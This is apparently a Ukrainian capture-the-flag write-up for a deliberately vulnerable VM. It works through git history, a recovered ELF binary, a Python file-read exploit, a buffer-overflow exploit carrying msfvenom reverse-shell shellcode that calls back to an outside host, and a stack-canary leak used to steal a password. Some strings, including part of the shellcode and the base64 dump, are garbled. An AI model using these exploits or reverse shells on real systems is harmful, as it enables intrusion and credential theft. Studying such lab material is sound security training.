+SInH6DD9//+4AAAAAMnDVUiJ5UiB7PAHAACJvRz4//9IibUQ+P//SIsFqgQgAL4AAAAASInH6J38
+//9IjYUg+P//utAHAAC+AAAAAEiJx+ik/P//SI2FIPj//7rQBwAASInGvwAAAADom/z//4lF/ItV
+/EiNhSD4//+J1kiJx+ja/f//uAAAAADJw2YuDx+EAAAAAAAPHwBBV0FWQYn/QVVBVEyNJc4BIABV
+SI0tzgEgAFNJifZJidVMKeVIg+wISMH9A+jH+///SIXtdCAx2w8fhAAAAAAATInqTIn2RIn/Qf8U
+3EiDwwFIOet16kiDxAhbXUFcQV1BXkFfw5bmlg8fhaaaaaaa88maaeid7ahig8qiwwaaaaeaagby
+ACVzAAAAAAEbAzs4AAAABgAAAJT7//+EAAAARPz//1QAAAA6/f//rAAAAOv+///MAAAAdP///+wA
+AADk////NAEAABQAAAAAAAAAAXpSAAF4EAEbDAcIkaehebqaaaacaaaa6pv//yoAAAAAAAAAAAAA
+ABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAacqaaaacaaaacpv//6AAAAAADhBGDhhKDwt3CIAAPxo7
+KjMkIgAAAAAcAAAARAAAAIb8//+xAQAAAEEOEIYCQw0GA6wBDAcIABwAAABkaaaaf/7//3wAAAAA
+QQ4QhgJDDQYCdwwHCAAARAAAAIQAAACA/v//ZQAAAABCDhCPAkIOGI4DRQ4gjQRCDiiMbugomiyg
+SA44gwdNDkByDjhBDjBBDihCDiBCDhhCdhbcdggafaaaamwaaaco/v//AgAAAAAAAAAAAAAAAAAA
+AAAAAAAgB0AAAAAAAAAHQAAAAAAAAAAAaaaaaaabaaaaaaaaaaeaaaaaaaaadaaaaaaaaab4buaa
+AAAAAA0AAAAAAAAA9AlAAAAAAAAZAAAAaaaaagalyaaaaaaagwaaaaaaaaaiaaaaaaaaaboaaaaa
+AAAAaAtgAAAAAAAcAAAAAAAAAAgAAAAAaaaa9f7/bwAAAABgAkAAAAAAAAUAAAAAAAAAqANAaaaa
+AAAGAAAAAAAAAIgCQAAAAAAACgAAAAAAaab+AAAAAAAAAAsAAAAAAAAAGAAAAAAAAAAVaaaaaaaa
+AAAAAAAAAAAAAwAAAAAAAABQDWAAAAAAaaiaaaaaaaaa2aaaaaaaaaauaaaaaaaaaacaaaaaaaaa
+FwAAAAAAAACgBEAAAAAAAAcAAAAAAAAAcaraaaaaaaaiaaaaaaaaadaaaaaaaaaacqaaaaaaaaay
+AAAAAAAAAP7//28AAAAAQARAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAAAmBEAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaeatgaaaaaaaaaaaa
+AAAAAAAAAAAAAAAAtgVAAAAAAADGBUAAaaaaanyfqaaaaaaa5gvaaaaaaad2buaaaaaaaaygqaaa
+AAAAFgZAAAAAAAAmBkAAAAAAADYGQAAAaaaaaaaaaaaaaaaaaaaaaaaaaeddqzogkerlymlhbia2
+LjEuMS0xMSkgNi4xLjEgMjAxNjA4MDIAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaawab
+AAACQAAAAAAAAAAAAAAAAAAAAAAAAwACabwcqaaaaaaaaaaaaaaaaaaaaaaaawadadwcqaaaaaaa
+AAAAAAAAAAAAAAAAAwAEAGACQAAAAAAAaaaaaaaaaaaaaaaaawafaigcqaaaaaaaaaaaaaaaaaaa
+AAAAAwAGAKgDQAAAAAAAAAAAAAAAAAAAaaaaawahacyeqaaaaaaaaaaaaaaaaaaaaaaaawaiaeae
+QAAAAAAAAAAAAAAAAAAAAAAAAwAJAHAEqaaaaaaaaaaaaaaaaaaaaaaaawakakaeqaaaaaaaaaaa
+AAAAAAAAAAAAAwALAHgFQAAAAAAAAAAAaaaaaaaaaaaaawamakafqaaaaaaaaaaaaaaaaaaaaaaa
+AwANAEAGQAAAAAAAAAAAAAAAAAAAAAAAawaoafagqaaaaaaaaaaaaaaaaaaaaaaaawapapqjqaaa
+AAAAAAAAAAAAAAAAAAAAAwAQAAAKQAAAaaaaaaaaaaaaaaaaaaaaawaraawkqaaaaaaaaaaaaaaa
+AAAAAAAAAwASAEgKQAAAAAAAAAAAAAAAaaaaaaaaawatagalyaaaaaaaaaaaaaaaaaaaaaaaawau
+AGgLYAAAAAAAAAAAAAAAAAAAAAAAAwAVahalyaaaaaaaaaaaaaaaaaaaaaaaawawahglyaaaaaaa
+AAAAAAAAAAAAAAAAAwAXAEgNYAAAAAAAaaaaaaaaaaaaaaaaawayafanyaaaaaaaaaaaaaaaaaaa
+AAAAAwAZALANYAAAAAAAAAAAAAAAAAAAaaaaawaaamanyaaaaaaaaaaaaaaaaaaaaaaaawabaaaa
+AAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAQAVAhalyaaaaaaaaaaa
+AAAAAAAZAAAAAgAOAIAGQAAAAAAAAAAAaaaaaaabaaaaagaoamagqaaaaaaaaaaaaaaaaaauaaaa
+AgAOAAAHQAAAAAAAAAAAAAAAAABEAAAAaqaaamgnyaaaaaaaaqaaaaaaaabtaaaaaqauagglyaaa
+AAAAAAAAAAAAAAB6AAAAAgAOACAHQAAAaaaaaaaaaaaaaacgaaaaaqatagalyaaaaaaaaaaaaaaa
+AAClAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACtAAAAAQAS
+AFgLQAAAAAAAAAAAAAAAAAC7AAAAAQAVahalyaaaaaaaaaaaaaaaaaaaaaaabadx/wAAAAAAAAAA
+AAAAAAAAAADHAAAAAAATAGgLYAAAAAAAaaaaaaaaaadyaaaaaqawahglyaaaaaaaaaaaaaaaaadh
+AAAAAAATAGALYAAAAAAAAAAAAAAAAAD0aaaaaaaraawkqaaaaaaaaaaaaaaaaaahaqaaaqayafan
+YAAAAAAAAAAAAAAAAAAdAQAAEgAOAPAJqaaaaaaaagaaaaaaaaataqaaiaaaaaaaaaaaaaaaaaaa
+AAAAAABJAQAAEQAaAMANYAAAAAAACAAAaaaaaad6aqaaiaazalanyaaaaaaaaaaaaaaaaabdaqaa
+EAAZAMANYAAAAAAAAAAAAAAAAAAnAQAAegapapqjqaaaaaaaaaaaaaaaaabkaqaaegaaaaaaaaaa
+AAAAAAAAAAAAAAB4AQAAEgAAAAAAAAAAaaaaaaaaaaaaaacmaqaaegaaaaaaaaaaaaaaaaaaaaaa
+AACgAQAAEgAAAAAAAAAAAAAAAAAAAAAAaac0aqaaegaaaaaaaaaaaaaaaaaaaaaaaadgaqaaegaa
+AAAAAAAAAAAAAAAAAAAAAADlAQAAEgAAaaaaaaaaaaaaaaaaaaaaaad4aqaaeaazalanyaaaaaaa
+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
+XgAAAP///28CAAAAAAAAACYEQAAAAAAAJgQAAAAAAaayaaaaaaaaaauaaaaaaaaaagaaaaaaaaac
+AAAAAAAAAGsAAAD+//9vAgAAAAAAAABABEAAAAAAAEAEAAAAAAaamaaaaaaaaaagaaaaaqaaaaga
+AAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAaaaaaaaacaraaaaaaabwbaaaaaaaadaaaaaaaaaabqaa
+AAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAaaqaaabcaaaaaaaaakaeqaaaaaaaoaqaaaaaaadyaaaa
+AAAAAAUAAAAYAAAACAAAAAAAAAAYAAAAaaaaai4aaaabaaaabgaaaaaaaab4buaaaaaaahgfaaaa
+AAAAGgAAAAAAAAAAAAAAAAAAAAQAAAAAaaaaaaaaaaaaaacjaaaaaqaaaayaaaaaaaaaoavaaaaa
+AACgBQAAAAAAAKAAAAAAAAAAAAAAAAAAaaaqaaaaaaaaabaaaaaaaaaalaaaaaeaaaagaaaaaaaa
+AEAGQAAAAAAAQAYAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJ0AAAABAAAA
+BgAAAAAAAABQBkAAAAAAAFAGAAAAAAAAogmaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaacj
+AAAAAQAAAAYAAAAAAAAA9AlAAAAAAAD0cqaaaaaaaakaaaaaaaaaaaaaaaaaaaaeaaaaaaaaaaaa
+AAAAAAAAqQAAAAEAAAACAAAAAAAAAAAKqaaaaaaaaaoaaaaaaaajaaaaaaaaaaaaaaaaaaaabaaa
+AAAAAAAAAAAAAAAAALEAAAABAAAAAgAAaaaaaaamckaaaaaaaawkaaaaaaaapaaaaaaaaaaaaaaa
+AAAAAAQAAAAAAAAAAAAAAAAAAAC/AAAAAQAAAAIAAAAAAAAASApAAAAAAABIcgaaaaaaabqbaaaa
+AAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAaaaayqaaaa4aaaadaaaaaaaaagalyaaaaaaayasaaaaa
+AAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAaaaaaaaaaaaaanuaaaapaaaaawaaaaaaaaboc2aaaaaa
+AGgLAAAAAAAACAAAAAAAAAAAAAAAAAAAaagaaaaaaaaaaaaaaaaaaadhaaaaaqaaaamaaaaaaaaa
+cAtgAAAAAABwCwAAAAAAAAgAAAAAAAAAaaaaaaaaaaaiaaaaaaaaaaaaaaaaaaaa5gaaaayaaaad
+AAAAAAAAAHgLYAAAAAAAeAsAAAAAAADQaqaaaaaaaayaaaaaaaaacaaaaaaaaaaqaaaaaaaaajga
+AAABAAAAAwAAAAAAAABIDWAAAAAAAEgNaaaaaaaacaaaaaaaaaaaaaaaaaaaaagaaaaaaaaacaaa
+AAAAAADvAAAAAQAAAAMAAAAAAAAAUA1gaaaaaabqdqaaaaaaagaaaaaaaaaaaaaaaaaaaaaiaaaa
+AAAAAAgAAAAAAAAA+AAAAAEAAAADAAAAAAAAALANYAAAAAAAsa0aaaaaaaaqaaaaaaaaaaaaaaaa
+AAAACAAAAAAAAAAAAAAAAAAAAP4AAAAIaaaaawaaaaaaaadadwaaaaaaamanaaaaaaaagaiaaaaa
+AAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAADAQAAAQAAADAAAAAAAAAAAAAAAAAAAADADQAAAAAA
+ACYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA
+6BcAAAAAAAAMAQAAAAAAAAAAAAAAAAAAaqaaaaaaaaaaaaaaaaaaaaeaaaacaaaaaaaaaaaaaaaa
+AAAAAAAAAOgNAAAAAAAAOAcAAAAAAAAeaaaalwaaaagaaaaaaaaagaaaaaaaaaajaaaaawaaaaaa
+AAAAAAAAAAAAAAAAAAAgFQAAAAAAAMgCaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaa

commit 9b5c226d15d611d6957f3fda7c993186270a6cc4
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:52:40 2016 -0400

Made it into a write-type-thing instead

diff --git a/hellofriend.c b/hellofriend.c
index d5cbbf9..10a4d9e 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -2,29 +2,37 @@
#include < string.h>
#include <unistd.h>

+char to_write[500]; 
+
int parse_request(char *req, int n) {
+ char data[500]; 
char file[500]; 
char file_content[500]; 
int file_len; 
+ int req_type; 
+ char mode[10];
char *ptr = req; 
FILE *fp;

memset(file, 0, sizeof(file)); 
+ memset(mode, 0, sizeof(mode)); 
+
+ memset(data, 0, sizeof(data)); 
+ memset(to_write, 0, sizeof(to_write)); 
+
+ ptr = (char *)ptr + 2; 
+ file_len = strlen(ptr); 
+
+ ptr = (char *)ptr + file_len + 1;
+ ptr = (char *)ptr + 6;

- ptr = (char *)ptr + 2;
- FiLe_len = n - 2 - 5 - 2; 
- memcpy(file, ptr, file_len); 
+ memcpy(to_write, ptr, 500); 
+ memcpy(data, ptr, 2000); 

- fp = fopen(file, "r"); 
- if (fp) {
- memset(file_content, 0, sizeof(file_content)); 
- fgets(file_content, sizeof(file_content), fp); 
- printf("%s", file_content); 
- }
return 0; 
}

-int mAin(int arGc, char *argv[]) {
+int main(int argc, char *argv[]) {
char buf[2000];
int n; 

@@ -32,7 +40,7 @@ int mAin(int arGc, char *argv[]) {

memset(buf, 0, sizeof(buf)); 
n = read(0, buf, sizeof(buf)); 
- p{ARSE_REQUEST}(buf, n);
+ parse_request(buf, n);

return 0; 
}

commit 06483346fab91b2b17471074a887ac7dffd9ceda
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:44:25 2016 -0400

My cat danced on the keyboard

diff --git a/hellofriend.c b/hellofriend.c
index c2c9046..d5cbbf9 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -12,7 +12,7 @@ int parse_request(char *req, int n) {
memset(file, 0, sizeof(file)); 

ptr = (char *)ptr + 2;
- file_len = n - 2 - 5 - 2; 
+ FiLe_len = n - 2 - 5 - 2; 
memcpy(file, ptr, file_len); 

fp = fopen(file, "r"); 
@@ -24,7 +24,7 @@ int parse_request(char *req, int n) {
return 0; 
}

-int main(int argc, char *argv[]) {
+int mAin(int arGc, char *argv[]) {
char buf[2000];
int n; 

@@ -32,7 +32,7 @@ int main(int argc, char *argv[]) {

memset(buf, 0, sizeof(buf)); 
n = read(0, buf, sizeof(buf)); 
- parse_request(buf, n);
+ p{ARSE_REQUEST}(buf, n);

return 0; 
}

commit 7edc47a1c3e4dc880a7191915bdbf1565c6b7441
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:37:14 2016 -0400

This coder turned coffee into code. You won't believe how she did it!

diff --git a/hellofriend.c b/hellofriend.c
index 21c5a19..c2c9046 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -3,10 +3,26 @@
#include <unistd.h>

int parse_request(char *req, int n) {
- return 0; 
-}
+ char file[500]; 
+ char file_content[500]; 
+ int file_len; 
+ char *ptr = req; 
+ FILE *fp;
+ 
+ memset(file, 0, sizeof(file)); 

+ ptr = (char *)ptr + 2;
+ file_len = n - 2 - 5 - 2; 
+ memcpy(file, ptr, file_len); 

+ fp = fopen(file, "r"); 
+ if (fp) {
+ memset(file_content, 0, sizeof(file_content)); 
+ fgets(file_content, sizeof(file_content), fp); 
+ printf("%s", file_content); 
+ }
+ return 0; 
+}

int main(int argc, char *argv[]) {
char buf[2000];

commit d7a1f067a2f4ac469bc4cf77c689a34e2286b665
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:30:20 2016 -0400

Hello, friend...

diff --git a/hellofriend.c b/hellofriend.c
new file mode 100644
index 0000000..21c5a19
--- /dev/null
+++ b/hellofriend.c
@@ -0,0 +1,22 @@
+#include < stdio.h>
+#include < string.h>
+#include <unistd.h>
+
+int parse_request(char *req, int n) {
+ return 0; 
+}
+
+
+
+int main(int argc, char *argv[]) {
+ char buf[2000];
+ int n; 
+
+ setbuf(stdout, 0); 
+
+ memset(buf, 0, sizeof(buf)); 
+ n = read(0, buf, sizeof(buf)); 
+ parse_request(buf, n);
+
+ return 0; 
+}


Якщо уважно придивитися на комміт My cat danced on the keyboard, то він дуже не схожий на кішку, яка пройшлася по клавіатурі. Замінені лише деякі символи. Спробувавши отримати ці зміни, помічаємо закономірність, а разом з нею й прапор:
+FiLe_len = n— 2 — 5 — 2;
+int mAin(int arGc, char *argv[]) {
+p{ARSE_REQUEST}(buf, n);
FLAG{ARSE_REQUEST}

P. S. Де тут реверс, запитаєте ви? Ось вам реверс, перший прапор був відволікаючої розминкою :)

Flag 2 (alice)
Крім прапора, з лода дізнаємося, що користувач alice створила, і видалила якийсь файл: project.enc. Скасовуємо останній комміт, щоб повернути цей файл:

$ git revert HEAD
$ ls
hellofriend.c project.enc

Вміст файлу явно нагадує base64, тому відправляємо його на сайт, і конвертуємо назад у двійковий вигляд.

$ file *
base64.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=8d8f87535451003b05db15d14d07818576813b49, not stripped

Подивимося що всередині, відкривши файл у IDA. Уважно придивившись, можна помітити, що в цьому файлі об'єднані всі зміни, що були внесені в git проект. Після незначних правок, ось так виглядає функція main:



Тут відбувається зчитування 2000 символів, які потім передаються в функцію parse_request:



Функція parse_request, у разі, якщо другий байт дорівнює 0x01, читає перші 500 байт з файлу, або якщо другий байт дорівнює 0x02, то копіює отриманий рядок у буфер.

При цьому простежуються 2 уразливості і 1 помилка:

  1. Перегляд файлів
  2. Вихід за межі масиву
  3. Переповнення буфера
Зупинимося поки що на першій, і створимо скрипт на Python для її експлуатації:

#!/usr/bin/python
import socket
import time
import sys

port = 6969
host = "192.168.1.190"

def readFile(fPath):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
action_byte = "\x01"
shell = "0" + action_byte + fPath + "000000"
s.send(('%s\n' %(shell)).encode())
time.sleep(0.3)
try:
data = s.recv(1024)
if len(data) != 0:
print("File: %s found" %(fPath))
print(data)
s.close()
except: pass

ext = [", '.txt']
words = open(sys.argv[1], 'r').read().splitlines()
for item in words:
for e in ext:
fPath = '%s%s' %(item, e)
readFile(fPath)

На основі отриманої інформації, згенеруємо невеликий словник для перебору доступних файлів:

Словник/home/alice/flag
/flag
/home/flag
/var/www/html/flag
/var/www/flag
/home/alice/.bash_history
/root/flag
/etc/shadow
/root/.bash_history

Після запуску, отримуємо перший прапор:

$ ./exploit.py dict.lst 
File: /flag.txt found
FLAG{is_there_an_ivana_tinkle}

Flag 3 (bob)
Судячи з того, що вміст /etc/shadow, він нам не видав, мабуть сервіс запущений від імені якогось користувача.

Читання файлів це добре, але є ще вихід за межі і переповнення буфера.

Тут слід врахувати, що функція strlen, згідно специфікації, повертає кількість символів, до першого входження нуль термінатора. Отже, доповнивши вхідні рядок 7 символами нуль термінатора, можна обійти вихід за межі. Перевіримо це:

$ python -c 'print("\x02\x02" + "A"*20 + "\x00"*7 + "123456B"*200)' | ltrace ./base64.bin



Як видно, strlen повернула 20, а в буфер data було скопійовано все починаючи з «123456B».

Залишилося знайти зміщення, за яким в стеку розташований адресу повернення, і переписати його. Перезаписувати будемо адресою 0x600de0, по якому розташований масив to_write. Відшукати адресу повернення можна такою командою:

$ python -c 'print("\x02\x02" +"A"*20 + "\x00"*7 + "A"*536 + "\xe0\x0d\x60\x00\x00\x00" + "\x00"*2000)' | gdb -ex "run" -ex "q" ./base64.bin

P. S. Значення 536 було отримано експериментально, в ході підбору, з урахуванням того, що кінцевий буфер має розмір 500 байт.



Все необхідне для написання експлоїта є, пора до цього приступити. Скориставшись msfvenom з набору Metaspoit Framework, сгенерим шелл:

$ sudo msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d" > exploit2.py

Запускаємо хендлер:



Трохи подредактируем файл exploit2.py:

exploit2.py
#!/usr/bin/python
import socket
import time
import sys
import struct

port = 6969
host = "192.168.1.190"

bypass = "\x02\x02" + "A"*20 + "\x00"*7
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\x8b\xe0\xc2\x5c\x5b\xbf\x3d"
buf += "\x9b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\xc3\xd1\x3d\x36\x52\xe7\xa4\x2d\x9b\xa8\x4b\x8a\x16"
buf += "\x8e\xf4\xf1\xa9\xa1\x98\в м'яч або\x5c\xb0\x38\xcd\xdb\x8a"
buf += "\xeb\x04\xc2\xd5\x3f\xc4\xe1\xe1\x9c\x53\x5e\xf7\xaa"
buf += "\xd3\x32\xe2\xc2\x7b\x54\x7f\x95\x9a\xf7\xb1\x8a\xd5"
buf += "\xbd\xd5\x2d\xc1\xe1\xca\x9a\x53\x5e\xe6\x63\xc1\x84"
buf += "\xe5\x3d\xba\x5b\xbf\x3d\x9b"
payload = bypass + buf + "\x90"*(536-len(buf))
payload += "\xe0\x0d\x60\x00\x00\x00\x00\x00" + "\x00"*2000

def bof():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.close()
w = open('payload', 'wb')
w.write(payload)
w.close()

bof()


І після запуску отримуємо довгоочікуваний шелл:

$ python2 ./exploit2.py



Спробуємо знайти ще прапори:

find / -name flag.txt 2>/dev/null
/home/bob/filez/flag.txt
/flag.txt

Заглянувши в директорію з прапором, стає зрозуміло, що і тут без реверсу не обійтися:

ls -ahl /home/bob/filez
total 24K
drwxr-xr-x 2 charlie charlie 4.0 K Oct 25 04:07 .
drwxr-xr-x 5 bob bob 4.0 K Oct 25 04:21 ..
-r--r----- 1 charlie charlie 50 Oct 25 03:51 auth.txt
-r--r----- 1 charlie charlie 29 Oct 23 08:06 flag.txt
-rwsr-xr-x 1 charlie charlie 6.7 K Oct 25 03:45 flag_vault

Ок, завантажуємо flag_vault для подальшого аналізу. Заодно перевіримо наявність ASLR на віддаленій машині:

cat /proc/sys/kernel/randomize_va_space
2

Файл завантажений, і як виявилося має захист:

$ gdb -q ./flag_vault
Reading symbols from ./flag_vault...(no debugging symbols found)...done.
gdb-peda$ checksec 
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$ 

В IDA цей файл виглядає наступним чином:



Тут варто сказати, що є 2 шляхи взяття прапора: легкий, і більш складний. Розглянемо їх:

1. Шлях чітера

Як можна помітити, шляхи до файлів вказані відносно. Це означає, що ми можемо створити в домашній директорії користувача alice файл auth.txt зі своїм перевірочним кодом, і поруч створити посилання на оригінальний файл /home/bob/filez/flag.txt



Далі, перейшовши в директорію /home/alice, запускаємо файл /home/bob/filez/flag_vault, вводимо свій код, який звіряється з нашим файлом auth.txt і отримуємо прапор:



2. Шлях справжнього реверс інженера

Після довгих пошуків я натрапив на вразливість у функції __stack_chk_fail. Судячи з опису це якраз наш випадок, залишилося знайти зміщення по якому розташовується argv[0] і спробувати його переписати. Запускаємо цей бінарники peda:



При запуску під налагодженням, помітно, що найближчим розташування argv[0] можна знайти за адресою: 0xbffff794.

0x08048730 <+293>: lea eax,[ebp-0x110]
0x08048736 <+299>: push eax
0x08048737 <+300>: push 0x0
0x08048739 <+302>: call 0x8048460 <read@plt>

Функція read починає заповнювати стек зі зміщення ebp-272, знаючи це, не важко вирахувати зміщення: (0xbffff794 — 0xbffff6e8 — 272) = 444 символу, досягнувши якого, вдасться переписати argv[0].

Чудово, тепер теоретично ми можемо читати пам'ять поточного процесу. Якщо поглянути на код, то можна помітити, що читання файлів відбувається в статичні змінні:

.text:080486E8 push offset modes ; "r"
.text:080486ED push offset aAuth_txt ; "аутентифікації.txt"
.text:080486F2 call _fopen
.text:080486F7 add esp, 16
.text:080486FA mov [ebp+var_114], eax
.text:08048700 sub esp, 4
.text:08048703 push [ebp+var_114] ; stream
.text:08048709 push 60 ; n
.text:0804870B push 8049CE0h ; pass
.text:08048710 call _fgets

У даному випадку найбільший інтерес буде представляти значення за адресою 0x8049CE0, так як саме туди зчитується вміст файлу auth.txt.

Перевіримо це:

python -c 'import struct;print("A"*20 + "\x00"*424 + struct.pack("<I",0x8049CE0))' | ./flag_vault



Відмінно, пароль у нас, можна діставати прапор:



Flag 4 (charlie)
Після довгих спроб підвищити привілеї через це додаток, а так само пошуку інших варіантів, я вбив команду:

find / -user alice 2>/dev/null | grep -v proc
/home/alice
/home/alice/ctftp
/home/alice/.profile
/home/alice/auth.txt
/home/alice/.bash_history
/home/alice/.bashrc
/home/alice/flag.txt
/home/alice/.bash_logout
/var/mail/alice
/flag.txt

Хм, глянувши на пошту, стає зрозуміло куди рухатися далі:

cat /var/mail/alice

Повідомлення від Боба
From bob@baffle.me Thu Jan 2 11:38:22 2014
Return-Path: <root@baffle.me>
X-Original-To: alice
Delivered-To: alice@baffle.me
Received: by baffle.me (Postfix, from userid 0)
id B612F2C0E36; Thu, 2 Jan 2014 11:38:22 -0800 (PST)
From: Bob <bob@baffle.me>
To: alice@baffle.me
Subject: Flag #2
Message-Id: <2014010204825.B612F2C0E36@baffle.me>
Date: Thu, 2 Jan 2014 11:38:22 -0800 (PST)

Alice,

I need you to login to my account. My password is in /home/bob/flag.txt
You'll need to authenticate to Flag Vault in order to get its contents.


Bob

Логинимся по ssh, і відразу увагу привертає файл .bash_history

bob@baffle:~$ cat .bash_history

.bash_history
ls -la
cat .plan 
cd binz/
ls -la
cd ..
ls
ls -la
ps -efa
exit
ls -latr
whoami
su - charlie
my_kn1ck3rz_r_bunch3d
cd filez/
ls -altr
date
cd ..
ls -latr
clear
ls
cd binz/
ls
cd ..
ls
exit


Фраза «my_kn1ck3rz_r_bunch3d» на жаль не підійшла в якості пароля, але все одно її поки збережемо файл .plan теж мало допоміг, а ось в директорії binz, своєї долі чекає якийсь демон:



Дивимося на якому порту він висить:

bob@baffle:~$ netstat -ln
tcp 0 0 127.0.0.1:7979 0.0.0.0:* LISTEN

І власне пробуємо до нього підключитися:

bob@baffle:~$ nc localhost 7979



Прапор явно є у користувача Charlie. Залишилося його дістати. Подивимося що всередині цього демона, відкривши його в IDA:

